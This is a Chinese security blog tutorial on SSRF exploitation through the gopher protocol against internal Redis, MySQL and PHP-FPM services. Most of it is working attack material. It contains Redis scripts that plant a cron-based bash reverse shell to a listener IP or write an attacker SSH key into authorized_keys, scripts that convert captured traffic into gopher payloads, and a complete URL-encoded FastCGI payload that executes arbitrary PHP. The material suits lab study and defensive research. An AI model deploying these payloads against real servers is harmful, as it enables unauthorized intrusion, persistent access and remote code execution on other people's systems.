Virtua1's blog

浅谈SSRF漏洞--Gopher篇

字数统计: 3.2k阅读时长: 14 min
2019/03/17 Share

概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码。

基本协议格式:

1
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

攻击面复现

Gopher 攻击内网Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis应用。

利用redis反弹shell

攻击思路就是:

1
获取bash对redis发出的访问请求,获取时利用socat端口转发,得到请求日志文件后再转化成适配Gopher协议的pyload,然后对redis进行攻击。

常用的 bash 脚本:

1
redis-cli -h $1 flushall 
2
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1\n\n"|redis-cli -h $1 -x set 1 
3
redis-cli -h $1 config set dir /var/spool/cron/ 
4
redis-cli -h $1 config set dbfilename root 
5
redis-cli -h $1 save
6
redis-cli -h $1 quit
  • flushall: 删除所有数据库中的key。(非必需,反倒有点不友好)
  • 计划任务执行命令反弹shell。
  • -x:从标准输入读取一个参数。
  • 第0个数据库中添加key为1,value为“\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n”。
  • dir:数据库备份文件路径。
  • dbfilename:备份文件的文件名。

执行脚本命令:

1
bash shell.sh 127.0.0.1 6379

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发,利用这个脚本攻击自身并抓包得到数据流:

1
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

然后执行:

1
bash shell.sh 127.0.0.1 4444

捕获到的数据:

1
> 2019/03/16 20:36:29.699694  length=18 from=0 to=17
2
*1\r
3
$8\r
4
flushall\r
5
< 2019/03/16 20:36:29.700410  length=5 from=0 to=4
6
+OK\r
7
> 2019/03/16 20:36:29.736434  length=90from=0 to=89
8
*3\r
9
$3\r
10
set\r
11
$1\r
12
1\r
13
$62\r
14
15
16
*/1 * * * * bash -i >& /dev/tcp/192.168.164.131/8080 0>&1
17
18
19
\r
20
< 2019/03/16 20:36:29.736894  length=5 from=0 to=4
21
+OK\r
22
> 2019/03/16 20:36:29.744413  length=57 from=0 to=56
23
*4\r
24
$6\r
25
config\r
26
$3\r
27
set\r
28
$3\r
29
dir\r
30
$16\r
31
/var/spool/cron/\r
32
< 2019/03/16 20:36:29.746587  length=5 from=0 to=4
33
+OK\r
34
> 2019/03/16 20:36:29.756751  length=52 from=0 to=51
35
*4\r
36
$6\r
37
config\r
38
$3\r
39
set\r
40
$10\r
41
dbfilename\r
42
$4\r
43
root\r
44
< 2019/03/16 20:36:29.757876  length=5 from=0 to=4
45
+OK\r
46
> 2019/03/16 20:36:29.765481  length=14 from=0 to=13
47
*1\r
48
$4\r
49
save\r
50
< 2019/03/16 20:36:29.803827  length=5 from=0 to=4
51
+OK\r

转换规则如下:

  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将\r字符串替换成%0d%0a。
  • 空白行替换为%0a。

JoyChou师傅的转换脚本:

1
#coding: utf-8#author: JoyChouimport sys
2
3
exp = ''
4
5
with open(sys.argv[1]) as f:
6
    for line in f.readlines():
7
        if line[0] in '><+':
8
            continue
9
        # 判断倒数第2、3字符串是否为\r
10
        elif line[-3:-1] == r'\r':
11
            # 如果该行只有\r,将\r替换成%0a%0d%0a
12
            if len(line) == 3:
13
                exp = exp + '%0a%0d%0a'
14
            else:
15
                line = line.replace(r'\r', '%0d%0a')
16
                # 去掉最后的换行符
17
                line = line.replace('\n', '')
18
                exp = exp + line
19
        # 判断是否是空行,空行替换为%0a
20
        elif line == '\x0a':
21
            exp = exp + '%0a'
22
        else:
23
            line = line.replace('\n', '')
24
            exp = exp + line
25
print exp
1
python2  zh.py socat.log
2
3
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.164.131/8080 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

注意:
如果要换IP和端口,前面的$61也需要更改,$61表示字符串长度为61个字节。

本地利用成功:

再梳理下攻击思路:

  • 利用socat进行端口转发.
  • 将redis命令写成.sh文件,bash执行.
  • 获取攻击到攻击自身的数据流.
  • 把数据流转化为适配Gopher协议的URL.
  • 构造SSRF payload实现攻击.

注意 redis 反弹 shell 有个坑,ubuntu 不能使用 bash 反弹 shell,如果如遇到 ubuntu 就该为写 ssh key.

生成ssh key:

1
ssh-keygen -t rsa
2
```bash
3
ssh_shell.sh:
4
```bash
5
echo -e "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNjOo6YRWDUNLdBDX3Y8lrEm6r9Ov9rFtYx5U/XSrSdUsRmGW9PvAlceS4H/5aExJc04bcTXQXRHO3RJQHcKvPUIcrxOION2mvccWkehmHnTTDCUw9igqFH91aMg013Ist6xKnco+Nn9LKJD49rtMKG+BFOTLg4C27gLC0OZkl8itZGHTS9S8I5LTEpwLItDkbZBgmDKYi/kaWjlw9PWtFYNpEvrt2SBgvWnHkVzPPELfTkbiIuwHYyYZD6YAXpH3tplk5RIZoHID08YzdxQqjcNdEXMFuaYvfdIWIWfzbhAwKl/lSpMDOBosAbd70CdjIz7VMcoYCcArr+zNtg8Hz root@ubuntu\n\n\n\n"|redis-cli -h $1 -p $2 -x set 1
6
redis-cli -h $1 -p $2 config set dir /root/.ssh
7
redis-cli -h $1 -p $2 config set dbfilename authorized_keys
8
redis-cli -h $1 -p $2 save
9
redis-cli -h $1 -p $2 quit

接下来过程和上面类似,不在重复。

Gopher 攻击MySQL

MySql通信协议

MySql连接方式

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

1
1、Unix套接字;
2
2、内存共享/命名管道;
3
3、TCP/IP套接字;
  • 在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
  • 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
  • TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –proot时就是要TCP/IP套接字。

我们抓取的MySQL通信数据包必须使用TCP/IP套接字连接

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况:

  • 需要密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;
  • 无需密码认证。当无需密码认证时直接发送TCP/IP数据包即可。

所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里主要关注认证数据包。

认证数据包格式如下:

先抓取下mysql root登陆的数据包,分析下。
看下需要密码登陆mysql 时的认证包:

前5个数据包是握手包,第6个包发现了root登陆的认证包,可以看到此时登陆的用户名和密码;
其中Pactket Length是发送的数据包的长度,Packet Number为sequence_id随每个数据包递增,从0开始,命令执行阶段遇到命令重新重置为0。这两个Packet为整个MySQL通协议的基础数据包。
继续分析,发现了执行命令的数据包:

如图是执行show databases;的数据包,下一个包就会看到返回的数据库的包。

构造攻击数据包

通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。

环境

Linux ubuntu 4.15.0-46-generic
mysql Ver 14.14 Distrib 5.7.25, for Linux (x86_64)

命令
1
新建用户,并且密码为空,只允许本地登录
2
CREATE USER 'curl'@'localhost';
3
GRANT ALL ON *.* TO 'curl'@'localhost';
4
5
# 一个窗口抓包
6
tcpdump –i lo port 3306 –w mysql.pcay
7
# 一个窗口操作
8
mysql –h 127.0.0.1 –u curl
9
# 执行了以下语句
10
use security;
11
select * from flag;
12
exit;

抓包包后利用wireshark分析,追踪tcp流,过滤出发给3306的数据:

然后保存为原始数据,将数据转化为 url 编码,转化脚本:

1
#coding:utf-8
2
3
def pacy(s):
4
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
5
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)if __name__=="__main__":
6
    import sys
7
    s=sys.argv[1]
8
    print(pacy(s))

原始数据:

转化:

本地测试成功:


梳理下攻击思路:

  • 创建相关的数据库、数据表和字段.
  • tcpdump 监听抓取3306的数据包.
  • 本地登陆mysql,查取相关数据.
  • wireshark追踪流,过滤包,提取登陆查询的原始数据,转化为适配gopher的url形式.
  • 构造payload攻击mysql.

拓宽攻击面

以上利用的条件是,SSRF有回显才能返回数据,但是当SSRF没有回显,虽然发送的MySql命令执行了,但是不会返回执行后的数据,这时我们可以拿系统的shell。

正常情况下,通过MySql获取系统shell可以通过select into outfile写入shell,或者使用udf来反弹shell,那么这里同样我们可以在本地得到获取shell时的数据包,然后转换成适配Gopher协议的URL来getshell。

写入shell
反弹shell

注意:在导出文件时,当前mysql用户必须存在file权限;部分MySQL服务器运行时启用了–secure-file-priv选项,导出文件时只能导出到规定的目录下,一般为/var/mysql/data命令,要自定义目录时必须修改配置文件设置secure-file-priv = “”;并且导入目录需要有写权限。

Gopher攻击内网redis和mysql的思路都是在本地提取到攻击自身的流量,构造适配Gopher的url攻击内网应用。

Gopher 攻击FastCGI

FastCGI

关于Fastcgi协议可以参考p神的这篇文章–传送门,文章已经讲的很详细了,还给出了能自动生成满足协议的payload的工具

简单总结就是php-fpm是在默认监听本地的某个端口,等待服务器的连接,因为它无条件监听本地的某个端口,只要我们构造满足协议规范的请求包去访问本地端口,就可以执行任意命令。结合SSRF,利用Gopher协议就可以利用本地监听的php-fpm,构造满足协议规范的请求包可以直接用p神给出的工具。

利用条件

这种漏洞强大但是利用条件比较苛刻,需要满足的条件有:

  • libcurl版本>=7.45.0.(exp里有%00,CURL版本小于7.45.0的版本,%00会被截断)
  • PHP-FPM监听本地端口.
  • PHP-FPM版本 >= 5.3.3.
  • 知道服务器上某一个php文件的绝对路径.

因为条件比较苛刻,这里使用 vulhun 的 fpm 环境.下载环境后直接运行docker-compose up -d即可。

攻击复现

转换为适配Gopher协议的EXP:
监听一个端口的流量:

1
nc -lvv 2333 > 1.txt

执行EXP,流量打到2333端口:

1
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

URL编码:

1
f = open('1.txt')
2
ff = f.read()
3
from urllib import quote
4
print quote(ff)

得到EXP,攻击测试:

1
%01%01%B2%93%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B2%93%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%B2%93%00%00%00%00%01%05%B2%93%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%B2%93%00%00%00%00

攻击思路:

  • 监听本地端口.
  • 运行EXP攻击自身,流量打到监听的端口.
  • 对监听到的数据进行url编码.
  • 本地攻击测试.

Referer

[1].https://paper.seebug.org/510/
[2].gopher-ssrf攻击内网应用复现
[3].https://blog.chaitin.cn/gopher-attack-surfaces
[4].https://joychou.org/web/phpssrf.html
[5].http://lypto.me/2018/12/20/FastCGI-RCE-in-SSRF/
[6].http://www.0xby.com/840.html

CATALOG
  1. 1. 概述
  2. 2. 攻击面复现
    1. 2.1. Gopher 攻击内网Redis
      1. 2.1.1. 利用redis反弹shell
    2. 2.2. Gopher 攻击MySQL
      1. 2.2.1. MySql通信协议
        1. 2.2.1.1. MySql连接方式
        2. 2.2.1.2. MySQL认证过程
      2. 2.2.2. 构造攻击数据包
        1. 2.2.2.1. 环境
        2. 2.2.2.2. 命令
      3. 2.2.3. 拓宽攻击面
        1. 2.2.3.1. 写入shell
        2. 2.2.3.2. 反弹shell
        3. 2.2.3.3. Gopher攻击内网redis和mysql的思路都是在本地提取到攻击自身的流量,构造适配Gopher的url攻击内网应用。
    3. 2.3. Gopher 攻击FastCGI
      1. 2.3.1. FastCGI
      2. 2.3.2. 利用条件
      3. 2.3.3. 攻击复现
  3. 3. Referer